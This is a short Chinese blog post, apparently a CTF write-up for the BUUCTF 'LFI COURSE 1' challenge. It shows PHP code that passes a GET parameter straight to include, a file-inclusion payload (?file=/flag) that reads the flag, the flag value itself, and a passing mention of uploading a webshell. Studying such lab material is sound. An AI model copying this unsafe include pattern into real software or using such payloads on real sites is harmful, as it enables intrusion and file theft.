
[BUUCTF][PHP本地文件包含]LFI COURSE 1

Terran1ight  于 2022-03-09 00:10:39 发布  4405  收藏
分类专栏： CTF题解 文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Terran1ight/article/details/123366303
版权

 CTF题解 专栏收录该内容
2 篇文章 0 订阅
订阅专栏

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/7/9
 * Time: 7:07 AM
 */

highlight_file(__FILE__);

if(isset($_GET['file'])) {
    $str = $_GET['file'];

    include $_GET['file'];
}

点进去后就上面一段PHP代码审计，根据不断的百度翻译各种函数的意思，觉得应该是本地文件包含

看了别人的writeup，一共两种方法

方法一

构造 ?file=/flag
即 http://7e80a547-7234-43fd-9a21-97d1d4a4f174.node4.buuoj.cn:81/?file=/flag

最后

flag{a75f7e3d-6bff-4f52-8fb4-ca41887c20ec} 

方法二

上传一句话木马，菜刀链接，明天再写具体的
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